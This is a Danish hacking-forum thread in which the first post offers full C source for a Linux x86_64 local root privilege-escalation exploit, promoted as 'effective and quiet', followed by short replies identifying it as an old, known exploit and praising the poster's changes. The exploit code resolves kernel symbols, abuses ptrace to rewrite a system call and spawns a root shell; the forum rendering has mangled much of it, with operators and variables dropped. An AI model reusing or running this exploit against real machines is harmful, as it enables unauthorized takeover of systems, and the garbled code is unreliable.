Denne side bruger cookies
Dette forum bruger cookies. Hvis du er registreret, bruges de til at huske hvem du er logget ind som. Hvis ikke, gemmer vi dit sidste besøgstidspunkt. Besøgstidspunktet bruges bl.a. til at holde øje med, hvilke tråde du allerede har læst. Cookies er små tekstdokumenter, som bliver gemt i din browser og udgør ingen sikkerhedsrisiko. Tryk "Mere Information" nedenfor, for en liste over de cookies vi sætter. Du har mulighed for at fravælge cookies ved at klikke på knappen "Blokér Cookies" i bunden af denne boks.

En ikke-personhenførbar cookie vil blive gemt i din browser, uanset dit valg (Medmindre du ikke foretager et). Således undgår du at blive spurgt igen. Du kan til enhver tid ændre dit valg via linket i bunden af siden.

Tråd bedømmelse:
  • 0 Stemmer - 0 Gennemsnit
  • 1
  • 2
  • 3
  • 4
  • 5
Escalation root exploit i C påvirker x86_64 linux kernels.
01-11-2015, 20:37 (Denne besked var sidst ændret: 01-11-2015, 20:41 af ripro.)
#1
Escalation root exploit i C påvirker x86_64 linux kernels.
Dette exploit kan escalare dig root på x86_64 linux kernels. effektivt og stille!

PHP kode:
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <inttypes.h>
#include <sys/reg.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int kernelmodecode(void *filevoid *submissive)
{
    
commit_creds(prepare_kernel_cred(0));
    return -
1;
}

unsigned long
get_symbol
(char *name)
{
    
FILE *f;
    
unsigned long addr;
    
char dummy;
    
char sname[512];
    
int ret 0oldstyle 0;
                               
// oldstyle = 0;
    
fopen("/proc/kallsyms""r");
    if (
== NULL) {
        
fopen("/proc/ksyms""r");
        if (
== NULL)
            return 
0;
        
oldstyle 1;
    }

    while (
ret != EOF) {
        if (!
oldstyle) {
            
ret fscanf(f"%p %c %s\n", (void **) &addr, &dummysname);
        } else {
            
ret fscanf(f"%p %s\n", (void **) &addrsname);
            if (
ret == 2) {
                
char *p;
                if (
strstr(sname"_O/") || strstr(sname"_S.")) {
                    continue;
                }
                
strrchr(sname'_');
                if (
> ((char *) sname 5) && !strncmp(3"smp"3)) {
                    
4;
                    while (
> (char *)sname && *(1) == '_') {
                        
p--;
                    }
                    *
'\0'
                
}
            }
        }
        if (
ret == 0) {
            
fscanf(f"%s\n"sname);
            continue;
        }
        if (!
strcmp(namesname)) {
            
printf("resolved symbol %s to %p\n"name, (void *) addr);
            
fclose(f);
            return 
addr;
        }
    }
    
fclose(f);

    return 
0;
}

 
static 
void docall(uint64_t *ptruint64_t size)
{
    
commit_creds = (_commit_credsget_symbol("commit_creds");
    if (!
commit_creds) {
        
printf("symbol table not available, aborting!\n");
        exit(
1);
    }

    
prepare_kernel_cred = (_prepare_kernel_credget_symbol("prepare_kernel_cred");
    if (!
prepare_kernel_cred) {
        
printf("symbol table not available, aborting!\n");
        exit(
1);
    }

        
uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);

    
printf("mapping at %lx\n"tmp); 

        if (
mmap((void*)tmpsizePROT_READ|PROT_WRITE|PROT_EXEC,
                
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -10) == MAP_FAILED) {
                
printf("mmap fault\n");
                exit(
1);
        }
 
        for (; (
uint64_tptr < (tmp size); ptr++)
                *
ptr = (uint64_t)kernelmodecode;
 
        
__asm__("\n"
        "\tmovq $0x101, %esc\n"
        "\tint $0x80\n"
);
 
        
printf("UID %d, EUID:%d GID:%d, EGID:%d\n"getuid(), geteuid(), getgid(), getegid());
        
execl("/bin/sh""bin/sh"NULL);
        
printf("no /bin/sh ??\n");
        exit(
0);
}
 
int main(int argcchar **argv)
{
        
int pidstatusset 0;
        
uint64_t esc;
        
uint64_t kern_s 0xffffffff80000000;
        
uint64_t kern_e 0xffffffff84000000;
        
uint64_t off 0x0000000800000101 8;
 
        if (
argc == 4) {
                
docall((uint64_t*)(kern_s off), kern_e kern_s);
                exit(
0);
        }
 
        if ((
pid fork()) == 0) {
                
ptrace(PTRACE_TRACEME000);
                
execl(argv[0], argv[0], "2""3""4"NULL);
                
perror("exec fault");
                exit(
1);
        }
 
        if (
pid == -1) {
                
printf("fork fault\n");
                exit(
1);
        }
 
        for (;;) {
                if (
wait(&status) != pid)
                        continue;
 
                if (
WIFEXITED(status)) {
                        
printf("Process finished\n");
                        break;
                }
 
                if (!
WIFSTOPPED(status))
                        continue;
 
                if (
WSTOPSIG(status) != SIGTRAP) {
                        
printf("Process received signal: %d\n"WSTOPSIG(status));
                        break;
                }
 
                
esc ptrace(PTRACE_PEEKUSERpid8*ORIG_RAX0);
                if (
esc == 0x000000000101) {
                        if (
ptrace(PTRACE_POKEUSERpid8*ORIG_RAXoff/8) == -1) {
                                
printf("PTRACE_POKEUSER fault\n");
                                exit(
1);
                        }
                        
set 1;
                    
//esc = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
                
}
 
                if ((
esc == 11) && set) {
                        
ptrace(PTRACE_DETACHpid00);
                        for(;;)
                                
sleep(10000);
                }
 
                if (
ptrace(PTRACE_SYSCALLpid10) == -1) {
                        
printf("PTRACE_SYSCALL fault\n");
                        exit(
1);
                }
        }
 
        return 
0;

Find alle beskeder fra denne bruger
Citer denne besked i et svar
01-11-2015, 20:49
#2
RE: Escalation root exploit i C påvirker x86_64 linux kernels.
Interessant. :)
Jeg tror vi har en shcode=c tag, så vidt jeg husker. Det ville nok gøre det lidt mere læsbart.
---
Writing a shellcode decoder stub in assembly is like talking gibberish in such a way that it is still perfectly intelligible. - iTick
Besøg denne brugers hjemmeside Find alle beskeder fra denne bruger
Citer denne besked i et svar
01-11-2015, 21:14
#3
RE: Escalation root exploit i C påvirker x86_64 linux kernels.
Ser ud til at være en gammel fætter, hvis jeg ikke tager fejl:
https://xorl.wordpress.com/2010/10/06/cv...scalation/
(23-10-2015, 21:59)bestworks Skrev: Hope you are best customer and we can to work a long time business
Find alle beskeder fra denne bruger
Citer denne besked i et svar
01-11-2015, 21:34
#4
RE: Escalation root exploit i C påvirker x86_64 linux kernels.
(01-11-2015, 21:14)MalcolmXI Skrev: Ser ud til at være en gammel fætter, hvis jeg ikke tager fejl:
https://xorl.wordpress.com/2010/10/06/cv...scalation/

Ok. Jeg tænkte, jeg ville kigge koden i gennem for bagdøre. Hehe.
Men synes farverne gjorde, at jeg ikke havde energien. :)
---
Writing a shellcode decoder stub in assembly is like talking gibberish in such a way that it is still perfectly intelligible. - iTick
Besøg denne brugers hjemmeside Find alle beskeder fra denne bruger
Citer denne besked i et svar
03-12-2015, 13:21 (Denne besked var sidst ændret: 03-12-2015, 13:21 af ڴIN.)
#5
RE: Escalation root exploit i C påvirker x86_64 linux kernels.
Det er et ældre eskalering exploit som MalcolmXI pointere men jeg kan læse du har lavet nogle brugbare modifikationer i koden, det kan jeg lide :) sejt! (hvis altså det er dig og ikke en af dine venner eller noget som du har rippet)
Find alle beskeder fra denne bruger
Citer denne besked i et svar
« Ældre | Nyere »




User(s) browsing this thread: 1 Gæst(er)